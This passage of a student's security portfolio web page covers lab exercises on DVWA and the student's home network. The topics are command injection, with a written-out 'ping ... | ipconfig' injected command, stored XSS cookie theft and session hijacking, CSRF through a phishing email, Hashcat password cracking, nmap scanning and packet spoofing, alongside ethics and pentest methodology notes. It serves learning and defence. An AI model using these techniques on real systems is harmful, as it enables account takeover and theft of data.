"ipconfig" so the command would look like this when executed in the shell: "ping 185.230.127.234 | ipconfig" This gave us the ip information of the machine the webpage is running on.</p> <a href="../../img/portfolio/red/CmdCurrentUser.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdCurrentUser.png" alt=""></a> <p>I can also get the current user logged in user from the machine using "net user". But with "net user" you can do much more even change the password of the current user or create a completely new user just for me.</p> <a href="../../img/portfolio/red/CmdWifiPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdWifiPass.png" alt=""></a> <p>What is maybe even better I can get the wifi password of the connected pc in plain text. Now I can connect to the same network because I know the password.</p> <a href="../../img/portfolio/red/CmdEnterpriceWifi.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdEnterpriceWifi.png" alt=""></a> <p>This trick doesn't work with more advanced wifi security though. Here you see the eduroam network from school which is protected with 802.1x control. This doesn't mean you can't get the password at all it just makes it a whole lot harder.</p> <a href="../../img/portfolio/red/CIDIR.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CIDIR.png" alt=""></a> <p>I was also able to run the "dir" command. This tells me a lot about the local machine and how the web server is installed.</p> <a href="../../img/portfolio/red/CISystemInfo.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CISystemInfo.png" alt=""></a> <P>With the "systeminfo" command I'm able to get a lot of information about the physical machine which might be useful to me later. It greatly increases my attack surface.</P> <p>This can be prevented by sanitizing the input and not just inserting it straight into the shell. Make sure it goes to a parameterised function first, check the input and then insert it into a shell for example.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Command injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal10" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site scripting</p> <p>I will now show you how you could apply XSS to a website.</p> <a href="../../img/portfolio/red/XSSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlert.png" alt=""></a> <p>First I have to check if the website is vulnerable. The easiest way to check this is just to try a simple "Alert" script just like this.</p> <a href="../../img/portfolio/red/XSSAlertResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlertResult.png" alt=""></a> <p>As you can see the script works so that means that the website is vulnerable to XSS. Now I can try something that has some more impact and could actually be useful for me.</p> <a href="../../img/portfolio/red/MaxCharLimit.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/MaxCharLimit.png" alt=""></a> <p>This form doesn't allow more than 50 characters, so writing bigger scripts might make this difficult. Luckily they only validate this in the frontend so I can just inspect this page and change the maximum characters in the form. So now I can write some bigger scripts that give me more information.</p> <a href="../../img/portfolio/red/XSSGetCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>Like getting the cookie of the user so I can hijack their session.</p> <a href="../../img/portfolio/red/XSSGetCookieResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>So now I got the cookie it is my own though, but these scripts get stored inside the comments and the comments are persistent. Therefore I could also write a script that sends the cookie to me instead of displaying it. This way I can make it almost invisible for everyone to see and everyone who loads this page their cookie gets send to me.</p> <a href="../../img/portfolio/red/XSSOldCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSOldCookie.png" alt=""></a> <p>Now I can try to use the cookie that I stole in the previous picture to try and login. As you can see my cookie is now different and I'm not logged in.</p> <a href="../../img/portfolio/red/XSSNewCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSNewCookie.png" alt=""></a> <p>Now I placed the cookie I stole in my own cookie to hopefully make the website think I'm the person who is logged in that I stole this cookie from.</p> <a href="../../img/portfolio/red/XSSSessionHijack.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSSessionHijack.png" alt=""></a> <p>And now when I try to load the index page the website thinks I'm logged in as the person the cookie belongs to and I hijacked their session. I can now do everything on their account, comment in their name and change their data or steal their data.</p> <p>And if this person is by any chance an admin I might be able to do some more extreme things as well. Like creating or deleting users or their comments.</p> <a href="../../img/portfolio/red/XSSIframe.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframe.png" alt=""></a> <P>Sometimes the programmers try to prevent XSS by filtering out the script tags. But they forget the filter out all the other HTML tags. So I can load my own website in an "Iframe".</P> <a href="../../img/portfolio/red/XSSIframeResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframeResult.png" alt=""></a> <p>This might only sound as good free marketing but you can also do other things. Like redirecting everyone that visits this page to my own website or inject scripts in other html tags, so I can still run my scripts even though they banned the script tags.</p> <p>These type of attacks can be prevented by sanitizing the input much like SQL injection. Make sure that all the text that users can post to the website's frontend doesn't get converted to straight HTML. In this way they can't exploit other HTML tags as well.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site scripting</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal11" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site request forgery</p> <p>Now I'm going to exploit CSRF on a website. The principles are quite simple, if you see the query that is called in the search bar, then the website might be vulnerable.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>As you can see in the search bar the website creates a query. If I would send this query without the form it would work as well but only for me. So I need to get this link to an user fill in my own password and make him click it.</p> <a href="../../img/portfolio/red/CSRFHTMLFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFHTMLFile.png" alt=""></a> <p>So I created a little phishing email using HTML. By using HTML I can make the email as legit as possible. By hiding the actual link in a text or even adding the DVWA logo. If I would know how they normally would send emails to their users, I could fully recreate it and you won't see the difference.</p> <a href="../../img/portfolio/red/CSRFUserEmail.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFUserEmail.png" alt=""></a> <p>The user would get an email like this and if you add urgency to the message, the user might not even think about any red flags because they feel the need to act as fast as possible.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>Now the user got send to the same page to change your password, but I already changed it when it loaded the page.</p> <a href="../../img/portfolio/red/CSRFLogin.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLogin.png" alt=""></a> <p>Now if the user tries to login he can't because the password is changed, and I can log into his account and exploit it as much as I want.</p> <p>These type of attacks can be prevented by using things like a CAPTCHA or asking the user to fill in their old password. Even though this cannot fully prevent this type of attack it will make it a lot harder to succeed</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site request forgery</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal12" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Path traversal</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Path traversal</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal13" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Password cracking</p> <p>Now I'm going to show to basics of password cracking.</p> <p> There are a few main ways to crack passwords <ul> <li>Brute forcing</li> <li>Dictionary attacks</li> <li>Rainbow tables</li> </ul> </p> <p>Brute forcing is the most basic way to crack a password, it just tries every possible combination of letters. It has a few pros and some big cons.</p> <p>Brute forcing is rarely used these days just for the simple reason that cracking a modern encrypted password would take more then a lifetime. It also costs a lot of computing power because it generates the hashes on the fly and there are a lot of hashes to generate and try. The pro is though that it doesn't use any storage space because it generates everything instead of getting them for a wordlist. Brute forcing could be an option when you know that the password that you're cracking isn't a existing word but rather a string of random numbers and letters. Even though brute forcing might be the only option in that case, you're probably better off finding another way to get the password.</p> <p>Dictionary attacks are more sophisticated, it's way more efficient and faster but there a big con.</p> <p>Dictionary attacks use a predefined list of words and generates hashes for them and then compare them to the hash you want to crack to see if any of them match. The pro is that this is way faster. The downside on the other hand is that if the password you want to crack isn't in the word list you have no chance of success. The dictionary attack could be extended by generating multiple versions of every word some with captitals some with random numbers after them etc. A dictionary attack could also be made very personal and tailored to the specifications of your target. For example adding the targets place of work or pet names to the list. Also if you want more chance of success you'll need a bigger word list and those can grow pretty fast costing thus a lot of storage space.</p> <p>Rainbow tables are in essence a lot like dictionary attacks, but actually better.</p> <p>Rainbow tables contain like a dictionary attack a wordlist. The difference is that the wordlist is already hashed and could contain all possible solutions making a look like a brute force. You could for instance create a rainbow table having every possible solution making it a bruto force but more efficient costing less time, or generate hashes for your dictionary attack wordlist which might be reusable costing you less time in the future. Rainbow tables do come with some downsides like it costs a lot of harddisk space, less then a dictionary attack of the same size because it uses lossless compression, but if you want a lot of possibilities it will still be a big file. The hash type like MD5 or SHA256 is static thus making it less versatile/useful when you don't know the encryption type. Same goes for the salt, a salt could be added to the list but it will make the file even bigger. A problem that you won't have with a dictionary attack or brute force because the hashes get generated in the fly.</p> <p>A good way to make encrypted passwords harder to crack is by using a salt or a pepper. A salt is random data added to the password before it's hashed, and because it's different for every new password it gets stored alongside the password. This has a pro and a con. The pro is that the salt is different for every password meaning that if one password gets compromised the others are still save. The downside is though that if someone breaches the database he will know the salts for each password instantly. Now a pepper uses the same method to encrypt a password, it is random data and adds it to the password before it's hashed. But a pepper is static and is stored separately from the password hashes. Now this method has a pro and con as well. The pro is that if the database is breached the hacker won't know the pepper making cracking the passwords a lot harder. The con is that if he finds the pepper all the passwords are compromised, but to do that he might need to decompile the code and find the pepper, which is a lot harder than breaching the database most of the time.</p> <a href="../../img/portfolio/red/CrackHashGenerate.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashGenerate.png" alt=""></a> <p>I created a small demonstration on hacking a simple MD5 hash. So I first of all created a hash for the string "password".</p> <a href="../../img/portfolio/red/CrackHashId.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashId.png" alt=""></a> <p>If I would have stole this hash from some database I might not know the hash type, which is important for me to know if I want to save time or use a rainbow table. So I ran "Hash-identifier" and gave it the hash. This gives me an idea what the hash type might be.</p> <a href="../../img/portfolio/red/CrackHashFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashFile.png" alt=""></a> <p>I placed the has in a file. In this case there's only one hash in there but in reality this list could contain all the hashes from a certain database.</p> <a href="../../img/portfolio/red/CrackHashResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashResult.png" alt=""></a> <p>Now I used "Hashcat" to crack the password using a wordlist called "rockyou". This wordlist contains the most common password based on data breaches in the past. As you can see it cracked the password and it only took 1 second. Do mind that in this case the password was high up in the wordlist. The program only went through 0.03% of the entire wordlist, if the password was much lower in the list this would take a lot longer.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Password cracking</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal14" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network scanning and enumeration</p> <p>To create a demo for this a made up a scenario. The scenario is that I got VPN access to a place I want to hack and I want to know how the network looks like. This is no actual hack but mere a VPN tunnel to my own home.</p> <a href="../../img/portfolio/red/NetworkScanConnVPN.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanConnVPN.png" alt=""></a> <p>So I looked up in which IP range I was so I had a clue from which I could continue.</p> <a href="../../img/portfolio/red/NetworkScanDone.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDone.png" alt=""></a> <p>I did a network scan using NMap in the ip range that I was connected to. As you can see on the left hand side there are some machines that came up in the scan which I could take a look at.</p> <a href="../../img/portfolio/red/NetworkScanTopology.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanTopology.png" alt=""></a> <p>I took a look at the topology of the network first. This is a easy way to get an overview of the network, all with connected routers, AP's and switches. I can also see in this diagram that there are some devices in red which mean they have 6 or more open ports, those devices might be more interesting to me</p> <a href="../../img/portfolio/red/NetworkScanNASHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASHost.png" alt=""></a> <p>I see that this machine is different from the rest, it's the only one running FreeBSD so that might be interesting.</p> <a href="../../img/portfolio/red/NetworkScanNASPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASPorts.png" alt=""></a> <p>This machine has open ports for the smb protocol which could mean this is a NAS. I could use this information to go further and get for example access to the samba shares.</p> <a href="../../img/portfolio/red/NetWorkScanRouterHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterHost.png" alt=""></a> <p>Using the before mentioned topology graph I noticed that the router has a lot of open ports as well. Getting into a network's router could give me more access to other parts of the network.</p> <a href="../../img/portfolio/red/NetWorkScanRouterPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterPorts.png" alt=""></a> <p>Here I can see that the router has some open ports for ssh, telnet and some webserver I can poke at.</p> <a href="../../img/portfolio/red/NetWorkScanDesktopHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanDesktopHost.png" alt=""></a> <p>While looking at the topology graph I saw another machine with a lot of open ports so I took a look, and it looks like a windows machine.</p> <a href="../../img/portfolio/red/NetworkScanDesktopPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDesktopPorts.png" alt=""></a> <p>There are a few different open ports on this machine then other regular desktops. Like a MariaDB which I could try to access or take a look at the webserver. The Windows RPC protocol is running on an open port which I can utilize to get in because there are some known exploits for that.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network scanning and enumeration</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal15" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network sniffing and spoofing</p> <p>I will show 2 little demos as a proof of concept.</p> <a href="../../img/portfolio/red/WiresharkHTTPSite.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPSite.png" alt=""></a> <p>I have a "pi-hole" server running on my network that acts as my home dns server. It has a login screen for a dashboard with statistics but it is not HTTPS secured. So I tried catching the password with Wireshark while logging in.</p> <a href="../../img/portfolio/red/WiresharkHTTPResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPResult.png" alt=""></a> <p>When I filter Wireshark to only HTTP and logged in in te website I can see my IP and the website's IP. When I open the packet and took a look what's inside, you can see the form post with password in plain text. Now this website doesn't hash the password so I can see the password in plain text, otherwise I would have seen a hash which I had to decrypt to get the password.</p> <a href="../../img/portfolio/red/ScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/ScapyPacket.png" alt=""></a> <p>I created a fake IPV4 packet using "scapy". I made it so that it looks like the packet is coming from google, but It's actually from me and I put my malicious code in it.</p> <a href="../../img/portfolio/red/WireSharkScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WireSharkScapyPacket.png" alt=""></a> <p>I captured the packet with Wireshark and as you can see the source address is google, but when you look in the raw my malicious code is in there.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network sniffing and spoofing</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal16" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Law, Ethics and Responsible Disclosure</p> <p>The Ethics are both quite abstract though logical at the same time. The are written in an abstract manner in which they could apply to even other things than hacking. Thus making it logical as well. Many things you wouldn't do to someone in real life you wouldn't do online. I think it's the same point <a href="https://www.youtube.com/watch?v=HmZm8vNHBSU">these</a> guys tried to make, except badly executed.</p> <P>In my opinion the internet is one of the last few free places there are in the world. Though sometimes tightly controlled by governments, look at China or North-Korea, people still find ways around the system to express their voices. I agree with the ethics being like gentlemen rules, just don't be a dick to someone, don't do anything you wouldn't want to be done to yourself. But this doesn't include expressing your opinion even though it might hurt some people. On the internet you still got the right to say those things the same as people having the right to disagree and say something about it. While in the real world when you say something wrong people will call it a form of discrimination and you'll get prosecuted. Thus undermining the freedom of speech and creating more and more censorship.</P> <p>These are the responsible disclosures of companies I compared.</p> <ul> <li><a href="https://www.google.com/about/appsecurity/">Google</a></li> <li><a href="https://support.apple.com/en-us/HT201220">Apple</a></li> <li> <a href="https://fontys.nl/Over-Fontys/Organisatie-en-sturing/Onze-organisatieNieuw/Regelingen-statuten-en-reglementen/Responsible-disclosure-Fontys-Hogescholen.htm">Fontys</a> </li> </ul> <p>The first things that stood out to me was the rewards. While Google and Apple being big corporations reward the people with big sums of money, the Fontys rewards them by putting their name on the wall of fame. Looking at other smaller companies it is more common to give some merchandise, putting their names on the hall of fame or giving a small amount of money compared to the big numbers Google and Apple are giving as rewards.</p> <p>What they all have in common is that they want a full detailed report of what you did so they can reproduce the scenario. They all don't want you to make anything public before they had a chance to fix it and don't dig any deeper in sensitive date that is necessary to proof the vulnerability.</p> <p>They all also state that even though you did anything illegal while proofing the vulnerability, if you follow their responsible disclosure and follow their rules they won't pursue any legal actions.</p> <p>It is quite logical that companies don't prosecute these people and give them rewards instead, because if you think about it they will lose far less money when they pay these rewards then if they get hacked by a real threat. Looking at <a href="https://www.bugcrowd.com/bug-bounty-list/">this</a> website a lot of companies share that same ideology.</p> <ul class="list-inline"> <li>Date: December 2019</li> <li>Client: Fontys</li> <li>Category: Law, Ethics and Responsible Disclosure</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal17" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Basic hacking process</p> <p>First lets talk about the basic hacking process. This is a process most hackers will follow when conducting a hack, good or bad. Though good and bad use this process there is a key difference between the two.</p> <a href="../../img/portfolio/red/hackingstappen.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/hackingstappen.png" alt=""></a> <p>These are the basic hacking steps that are needed to conduct a good hack.</p> <h3>Intel Gathering</h3> <p>Intel gathering is the first step in the basic hacking process. In this step the hacker tries to gain as much information on his target as possible. He'll conduct for instance a OSINT, go to the physical location of his target and get a feel for the place and maybe even use social engineering to call his target and try to extract information.</p> <h3>Footprint</h3> <p>Now the hacker will conduct a network scan and try to gain as much information on the target's network as possible. He needs to find a foothold from which he can continue further, think about ip ranges, open ports, OS versions and important servers.</p> <h3>Vuln Analysis</h3> <p>The hacker will now look for any out of date software or operating systems to use exploits on. Whenever he'll find a software version he'll look if there's a CVE entry for that he could exploit. He might also use some automated tools to find common vulnerabilities for him. The hacker will also try any website for web vulnerabilities like SQL injection, command injection, CSRF and XSS.</p> <h3>Exploitation</h3> <p>Now is time for action. The hacker will use the information and vulnerabilities he found in the previous step to use his exploits. Thus gaining access to his target or the information he's after. Most ethical hackers/pentesters will stop after this step or not even do this step at all because it might result in destabilizing or shutting down the targets network.</p> <h3>Post Exploitation</h3> <p>This step and the following is more applicable to the bad actors out there. Here the hacker will extract the data he's after, edit some data, create new accounts and setup persistence for a backdoor so he can come back later without going through the same process again or have the risk of the target patching the vulnerability he used.</p> <h3>Clean Up</h3> <p>This step is very important for bad actors to not get caught. Here the hacker will try to remove all of his footsteps like logs. Therefore the police or target will not be able to track him down or even know what he did in the first place.</p> <a href="../../img/portfolio/red/Cyber-Kill-Chain.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/Cyber-Kill-Chain.png" alt=""></a> <p>Now this is the cyber kill chain even though it's comparable to the basic hacking process there are some differences.</p> <h3>Reconnaissance</h3> <p>Here the hacker will conduct recon comparable to the intel gathering stage in the basic hacking process.</p> <h3>Weaponization</h3> <p>In this step the hacker is already creating a payload with an exploit to attack his target. It is notable that in the cyber killchain they skip the footprint and vuln analysis stages.</p> <h3>Delivery</h3> <p>Now the payload is to be delivered to the target this can be done by phising email, rubber ducky and so on. This stage is also not present in the basic hacking process, there it's more part of the exploitation stage.</p> <h3>Exploitation</h3> <p>When the payload is delivered the hacker will activate his attack.</p> <h3>Installation</h3> <p>In this stage the hacker will install for example malware to create persistence for a backdoor or to act more stealthy. This would happen in the post exploitation stage in the basic hacking process.</p> <h3>Command & Control</h3> <p>Now the installed malware will call back to the command and control system and give the hacker control of the hacked system. This can be both part of the exploitation and post exploitation stage in the basic hacking process.</p> <h3>Actions on Objectives</h3> <p>Here the hacker will do whatever his intentions were.</p> <h4>The minimal requirements for a good pentest contract and pentest report</h4> <p>In a good pentest contract there should be a clearly defined scope and procedures in case of emergency. The contract should also include a confidentiality agreement. The pentest report should include the scope and goal of the project with the findings and how it was done. It should be explained very carefully and readable for people that weren't aware of the project. The most important thing is ofcourse the advice to give to the company, this way they'll be able to fix any security leaks and the pentest was a success.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Basic hacking process</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal18" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Self reflection</p> <p>The semester started quite slowly for me. It wasn't really clear for me were I should start and were I should look for the right information. This semester was quite different from the defending one. In the defending semester everything went quite easy and smooth and I had a clear goal that I wanted to achieve, I felt like I missed that this semester, hens why it didn't start so smoothly.</p> <p>I started this semester with absolutely no knowledge in hacking into things. I learned quite a lot this semester, must of the things I learned listening to podcasts and understanding the different concepts and trying different things on DVWA.</p> <p>I still don't really feel like I could actually conduct a good pentest and find some decent results after this semester which I think sucks, because I feel like I should. I do think I've the knowledge but I feel like I lack the How-to. I did think I would be quite good at defending a network and building one after previous semester, so I think it's a combination between a lack of goals and guidance.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Self reflection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal19" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Cyber4Z</h2> <p class="item-intro text-muted">My internship at Cyber4Z</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: June 2021</li> <li>Client: Cyber4Z</li> <li>Category: Internship</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal20" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Pen-testing methodologies</p> <p>The standard and most popular pentest methodology is the Lockheed Martin cyber killchain. It's a basic process that explains the order of action a criminal hacker would follow. Thus also making it a viable ethical hacker methodology.</p> <a href="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png" alt=""></a> <p>Knowing what step a attacker is taking or needs to take is good to know. But it's also good to know how to mitigate or prevent each step of the cyber killchain.</p> <a href="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg" alt=""></a> <p>Other than the Lockheed Martin cyber killchain there are a few other frameworks/methodologies, like the well-known OWASP.</p> <ol> <li>OSSTMM (Open Source Security Testing Methodology Manual)</li> <li>OWASP (Open Web Application Security Project)</li> <li>NIST (The National Institute of Standards and Technology)</li> <li>PTES (Penetration Testing Methodologies and Standards)</li> <li>ISSAF (Information System Security Assessment Framework)</li> </ol> <a href="https://www.vumetric.com/blog/top-penetration-testing-methodologies/">Source</a> <p><b>OSSTMM</b> is a peer-reviewed security assessment standard for testing and auditing systems and providing them with a risk score</p> <p><b>OWASP</b> is used as a methodology to pentest websites and web applications.</p> <p><b>NIST</b> is a very strict standard and they promote themselves as functionality driven. They mainly focus on helping federal agencies comply with regulations.</p> <p><b>PTES</b> is a structured approach to pentesting and looks a lot like the Lockheed Martin cyber killchain.</p> <p><b>ISSAF</b> is a pentesting methodology where the pentester imitates a hacker. This also looks a lot like the Lockheed Martin cyber killchain.</p> <p>Apart from all these methodologies there's another well known entity known by not only red teamers but also well-known by the blue teamers. This framework is known as the <a href="https://attack.mitre.org/">Mitre ATT&CK Framework</a> this framework contains almost every possible way to attack a network or machine.</p> <p>I've used the Mitre ATT&CK framework a lot when monitoring the SOC in my home network. Wazuh automatically categorizes the incoming alert in the Mitre ATT&CK framework. On the opposite side from te red teamer perspective I've used OWASP and the Lockheed Martin cyber killchain a lot. Mostly when performing pentests but also when cracking machines on Hackthebox and when participating in CTF events.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal21" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Linux Write-up</p> <a href="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <code>sudo nmap -v -A -sS earlyaccess.htb</code> <a 